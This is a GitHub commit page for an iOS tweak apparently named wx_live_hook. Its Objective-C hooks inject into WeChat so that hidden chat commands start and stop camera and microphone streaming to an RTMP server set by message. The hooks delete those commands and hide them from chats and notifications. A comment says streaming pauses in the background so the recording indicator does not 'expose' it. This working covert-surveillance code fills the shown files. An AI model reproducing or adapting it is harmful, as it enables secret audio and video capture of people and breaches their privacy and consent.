Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
huig
committed
Aug 8, 2018
1 parent
26bb50a
commit 44e19ad
Showing
455 changed files
with
56,832 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
/Users/huig/Library/Developer/Xcode/DerivedData/wx_live_hook-dcgiyjixrpknhdfhpspchsarylam/Build/Products/Release-iphoneos |
Binary file not shown.
Binary file not shown.
Large diffs are not rendered by default.
Oops, something went wrong.
7 changes: 7 additions & 0 deletions
7
wx_live_hook.xcodeproj/project.xcworkspace/contents.xcworkspacedata
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
8 changes: 8 additions & 0 deletions
8
wx_live_hook.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | ||
<plist version="1.0"> | ||
<dict> | ||
<key>IDEDidComputeMac32BitWarning</key> | ||
<true/> | ||
</dict> | ||
</plist> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,106 @@ | ||
// weibo: http://weibo.com/xiaoqing28 | ||
// blog: http://www.alonemonkey.com | ||
// | ||
// HGLiveHook.h | ||
// HGLiveHook | ||
// | ||
// Created by jyh on 2018/8/2. | ||
// Copyright (c) 2018年 huig. All rights reserved. | ||
// | ||
|
||
#import <UIKit/UIKit.h> | ||
#import <Foundation/Foundation.h> | ||
|
||
#define start @"#ksp" | ||
#define stop @"#gsp" | ||
#define rotate @"#hjt" | ||
#define shiPingDiZhi @"#播放地址" | ||
#define sheZhiFuWuQi @"#服务器" | ||
#define WeiSheZhiFuWuQi @"#未设置服务器地址格式:[#服务器255.255.255.0]" | ||
|
||
@interface AppDelegate : UIResponder <UIApplicationDelegate> | ||
|
||
@end | ||
|
||
@interface WCPayInfoItem: NSObject | ||
|
||
@property(retain, nonatomic) NSString *m_c2cNativeUrl; | ||
|
||
@end | ||
|
||
@interface MMService : NSObject | ||
|
||
@end | ||
|
||
@interface CMessageWrap : NSObject | ||
|
||
@property (retain, nonatomic) WCPayInfoItem *m_oWCPayInfoItem; | ||
@property (assign, nonatomic) NSUInteger m_uiMesLocalID; | ||
@property (retain, nonatomic) NSString* m_nsFromUsr; ///< 发信人,可能是群或个人 | ||
@property (retain, nonatomic) NSString* m_nsToUsr; ///< 收信人 | ||
@property (assign, nonatomic) NSUInteger m_uiStatus; | ||
@property (retain, nonatomic) NSString* m_nsContent; ///< 消息内容 | ||
@property (retain, nonatomic) NSString* m_nsRealChatUsr; ///< 群消息的发信人,具体是群里的哪个人 | ||
@property (assign, nonatomic) NSUInteger m_uiMessageType; | ||
@property (assign, nonatomic) long long m_n64MesSvrID; | ||
@property (assign, nonatomic) NSUInteger m_uiCreateTime; | ||
@property (retain, nonatomic) NSString *m_nsDesc; | ||
@property (retain, nonatomic) NSString *m_nsAppExtInfo; | ||
@property (assign, nonatomic) NSUInteger m_uiAppDataSize; | ||
@property (assign, nonatomic) NSUInteger m_uiAppMsgInnerType; | ||
@property (retain, nonatomic) NSString *m_nsShareOpenUrl; | ||
@property (retain, nonatomic) NSString *m_nsShareOriginUrl; | ||
@property (retain, nonatomic) NSString *m_nsJsAppId; | ||
@property (retain, nonatomic) NSString *m_nsPrePublishId; | ||
@property (retain, nonatomic) NSString *m_nsAppID; | ||
@property (retain, nonatomic) NSString *m_nsAppName; | ||
@property (retain, nonatomic) NSString *m_nsThumbUrl; | ||
@property (retain, nonatomic) NSString *m_nsAppMediaUrl; | ||
@property (retain, nonatomic) NSData *m_dtThumbnail; | ||
@property (retain, nonatomic) NSString *m_nsTitle; | ||
@property (retain, nonatomic) NSString *m_nsMsgSource; | ||
|
||
- (id)initWithMsgType:(long long)arg1; | ||
+ (_Bool)isSenderFromMsgWrap:(id)arg1; | ||
|
||
@end | ||
|
||
@interface CMessageMgr : MMService | ||
|
||
- (void)DelMsg:(id)arg1 MsgList:(id)arg2 DelAll:(_Bool)arg3; | ||
- (void)AsyncOnDelMsg:(id)arg1 MsgWrap:(id)arg2; | ||
- (void)DelMsg:(id)arg1 MsgWrap:(id)arg2; | ||
- (void)AddMsg:(id)arg1 MsgWrap:(id)arg2; | ||
- (void)MainThreadNotifyToExt:(id)arg1; | ||
- (void)AsyncOnAddMsg:(id)arg1 MsgWrap:(id)arg2; | ||
- (void)AsyncOnAddMsgListForSession:(id)arg1 NotifyUsrName:(id)arg2; | ||
@end | ||
|
||
@interface CContact: NSObject <NSCoding> | ||
|
||
@property(retain, nonatomic) NSString *m_nsUsrName; | ||
@property(retain, nonatomic) NSString *m_nsHeadImgUrl; | ||
@property(retain, nonatomic) NSString *m_nsNickName; | ||
|
||
- (id)getContactDisplayName; | ||
- (id)getChatRoomMemberWithoutMyself:(id)arg1; | ||
|
||
@end | ||
|
||
@interface CContactMgr : NSObject | ||
|
||
- (id)getSelfContact; | ||
- (id)getContactByName:(id)arg1; | ||
- (id)getContactForSearchByName:(id)arg1; | ||
- (_Bool)getContactsFromServer:(id)arg1; | ||
- (_Bool)isInContactList:(id)arg1; | ||
- (_Bool)addLocalContact:(id)arg1 listType:(unsigned int)arg2; | ||
|
||
@end | ||
|
||
@interface MMServiceCenter : NSObject | ||
|
||
+ (instancetype)defaultCenter; | ||
- (id)getService:(Class)service; | ||
|
||
@end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,122 @@ | ||
// | ||
// HGLiveHook.m | ||
// HGLiveHook | ||
// | ||
// Created by jyh on 2018/8/3. | ||
// Copyright (c) 2018年 ___ORGANIZATIONNAME___. All rights reserved. | ||
// | ||
|
||
// CaptainHook by Ryan Petrich | ||
// see https://github.com/rpetrich/CaptainHook/ | ||
|
||
#if TARGET_OS_SIMULATOR | ||
#error Do not support the simulator, please use the real iPhone Device. | ||
#endif | ||
|
||
#import "HGLiveHook.h" | ||
#import <Foundation/Foundation.h> | ||
#import "CaptainHook/CaptainHook.h" | ||
#import "HGLiveSettings.h" | ||
#import "HGLiveManager.h" | ||
#import "WechatPodForm.h" | ||
|
||
|
||
CHDeclareClass(CMessageMgr); | ||
|
||
// 聊天窗口显示过滤处理 | ||
CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsg, id, arg1, MsgWrap, CMessageWrap *, wrap) { | ||
|
||
[[HGLiveSettings shared] setMgr:self]; | ||
wrap.m_nsContent = [wrap.m_nsContent stringByReplacingOccurrencesOfString:@" " withString:@""]; | ||
if ([wrap.m_nsContent hasPrefix:sheZhiFuWuQi]) { | ||
[HGLiveSettings setupServer:wrap.m_nsContent room:wrap.m_nsToUsr]; | ||
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap]; | ||
return; | ||
} | ||
|
||
if ([wrap.m_nsContent isEqualToString:start]) { | ||
|
||
[[HGLiveSettings shared] setIsPlay:YES]; | ||
[[HGLiveSettings shared] setWrap:wrap]; | ||
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap]; | ||
|
||
if (![HGLiveSettings isNoAddress]) { | ||
[HGLiveSettings AddMsgWithContent:WeiSheZhiFuWuQi]; | ||
return; | ||
} | ||
|
||
[HGLiveSettings AddMsgWithContent:[HGLiveSettings getPlayAddress]]; | ||
[[HGLiveManager shared] startRunning]; | ||
} | ||
|
||
if ([wrap.m_nsContent isEqualToString:stop]) { | ||
[[HGLiveSettings shared] setIsPlay:NO]; | ||
[[HGLiveManager shared] stopLive]; | ||
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap]; | ||
return; | ||
} | ||
|
||
if ([wrap.m_nsContent isEqualToString:rotate]) { | ||
[[HGLiveManager shared] rotateCamera]; | ||
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap]; | ||
return; | ||
} | ||
|
||
if ([objc_getClass("CMessageWrap") isSenderFromMsgWrap:wrap]) { | ||
if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return; | ||
} | ||
|
||
CHSuper2(CMessageMgr, AsyncOnAddMsg, arg1, MsgWrap, wrap); | ||
} | ||
|
||
// 聊天列表显示过滤 | ||
CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsgListForSession, NSDictionary *, arg1, NotifyUsrName, NSMutableSet *, arg2) { | ||
CMessageWrap *wrap = arg1[[arg2 anyObject]]; | ||
if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return; | ||
CHSuper2(CMessageMgr, AsyncOnAddMsgListForSession, arg1, NotifyUsrName, arg2); | ||
} | ||
|
||
// 通知过滤 | ||
CHOptimizedMethod1(self, void, CMessageMgr, MainThreadNotifyToExt, NSMutableDictionary *, arg1) { | ||
if ([arg1 valueForKey:@"3"]) { | ||
CMessageWrap *wrap = [arg1 valueForKey:@"3"]; | ||
if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return; | ||
} | ||
CHSuper1(CMessageMgr, MainThreadNotifyToExt, arg1); | ||
} | ||
|
||
CHDeclareClass(MicroMessengerAppDelegate); | ||
// 将变为非活跃状态 | ||
CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillResignActive, id, arg1) { | ||
// 关闭. 由于进入后台.如果是开启状态.桌面状态栏会显示红色提醒用户后台录音开启.避免暴露,最好关闭 | ||
if ([[HGLiveSettings shared] isPlay]) { | ||
[[HGLiveManager shared] stopLive]; | ||
[HGLiveSettings AddMsgWithContent:@"stop"]; | ||
} | ||
CHSuper1(MicroMessengerAppDelegate, applicationWillResignActive, arg1); | ||
} | ||
|
||
// 由后台进入前台 | ||
CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillEnterForeground, id, arg1) { | ||
// 开启. | ||
if ([[HGLiveSettings shared] isPlay]) { | ||
[[HGLiveManager shared] startRunning]; | ||
[HGLiveSettings AddMsgWithContent:@"start"]; | ||
} | ||
CHSuper1(MicroMessengerAppDelegate, applicationWillEnterForeground, arg1); | ||
} | ||
// 所有被hook的类和函数放在这里的构造函数中 | ||
CHConstructor | ||
{ | ||
@autoreleasepool | ||
{ | ||
CHLoadLateClass(CMessageMgr); | ||
CHHook2(CMessageMgr, AsyncOnAddMsg, MsgWrap); | ||
CHHook2(CMessageMgr, AsyncOnAddMsgListForSession, NotifyUsrName); | ||
CHHook1(CMessageMgr, MainThreadNotifyToExt); | ||
|
||
CHLoadLateClass(MicroMessengerAppDelegate); | ||
CHHook1(MicroMessengerAppDelegate, applicationWillResignActive); | ||
CHHook1(MicroMessengerAppDelegate, applicationWillEnterForeground); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
// | ||
// HGLiveManager.h | ||
// iosPushAV | ||
// | ||
// Created by jyh on 2018/7/31. | ||
// Copyright © 2018年 huig. All rights reserved. | ||
// | ||
|
||
#import <UIKit/UIKit.h> | ||
|
||
@interface HGLiveManager : NSObject | ||
- (nullable instancetype)init UNAVAILABLE_ATTRIBUTE; | ||
+ (nullable instancetype)new UNAVAILABLE_ATTRIBUTE; | ||
+ (instancetype)shared; | ||
- (void)startRunning; | ||
- (void)rotateCamera; | ||
- (void)stopLive; | ||
@end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
// | ||
// HGLiveManager.m | ||
// iosPushAV | ||
// | ||
// Created by jyh on 2018/7/31. | ||
// Copyright © 2018年 huig. All rights reserved. | ||
// | ||
|
||
#import "HGLiveManager.h" | ||
#import "LFLiveKit.h" | ||
|
||
@interface HGLiveManager() | ||
@property (nonatomic, strong) LFLiveSession *liveSession; | ||
@end | ||
|
||
@implementation HGLiveManager | ||
|
||
static HGLiveManager *_shared; | ||
+ (instancetype)shared { | ||
if (!_shared) { | ||
_shared = [[self alloc] init]; | ||
} | ||
return _shared; | ||
} | ||
|
||
- (instancetype)init { | ||
if (self = [super init]) { | ||
LFLiveAudioConfiguration *audioConfig = [LFLiveAudioConfiguration defaultConfiguration]; | ||
LFLiveVideoQuality videoQuality = LFLiveVideoQuality_Low1; | ||
LFLiveVideoConfiguration *aideoConfig = [LFLiveVideoConfiguration defaultConfigurationForQuality:videoQuality]; | ||
self.liveSession = [[LFLiveSession alloc] initWithAudioConfiguration:audioConfig videoConfiguration:aideoConfig]; | ||
} | ||
return self; | ||
} | ||
|
||
- (void)startRunning { | ||
|
||
dispatch_async(dispatch_get_global_queue(0, 0), ^{ | ||
self.liveSession.running = NO; | ||
self.liveSession.preView = [UIView new]; | ||
LFLiveStreamInfo *streamInfo = [LFLiveStreamInfo new]; | ||
streamInfo.url = [[NSUserDefaults standardUserDefaults] objectForKey:@"rtmpAddress"]; | ||
[self.liveSession startLive:streamInfo]; | ||
self.liveSession.running = YES; | ||
}); | ||
} | ||
|
||
- (void)rotateCamera { | ||
|
||
if (!self.liveSession.running) return; | ||
AVCaptureDevicePosition position = self.liveSession.captureDevicePosition; | ||
self.liveSession.captureDevicePosition = position == AVCaptureDevicePositionBack?AVCaptureDevicePositionFront:AVCaptureDevicePositionBack; | ||
} | ||
|
||
- (void)stopLive{ | ||
self.liveSession.running = NO; | ||
} | ||
|
||
@end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
// | ||
// HGLiveSettings.h | ||
// wxLiveDylib | ||
// | ||
// Created by jyh on 2018/8/5. | ||
// Copyright © 2018年 huig. All rights reserved. | ||
// | ||
|
||
#import <Foundation/Foundation.h> | ||
#import "HGLiveHook.h" | ||
|
||
@interface HGLiveSettings : NSObject | ||
+ (instancetype)shared; | ||
+ (void)setupServer:(NSString *)address room:(NSString *)room; | ||
+ (void)DelMsg:(NSString *)DelMsg MsgWrap:(CMessageWrap *)MsgWrap; | ||
+ (void)AddMsg:(NSString *)AddMsg MsgWrap:(CMessageWrap *)MsgWrap; | ||
+ (void)AddMsgWithContent:(NSString *)nsContent; | ||
+ (BOOL)isNoAddress; | ||
+ (NSString *)getPlayAddress; | ||
+ (BOOL)isEqualToCommand:(NSString *)command; | ||
@property (nonatomic, assign) BOOL isPlay; | ||
@property (nonatomic, strong) CMessageMgr *mgr; | ||
@property (nonatomic, strong) CMessageWrap *wrap; | ||
@end |
Oops, something went wrong.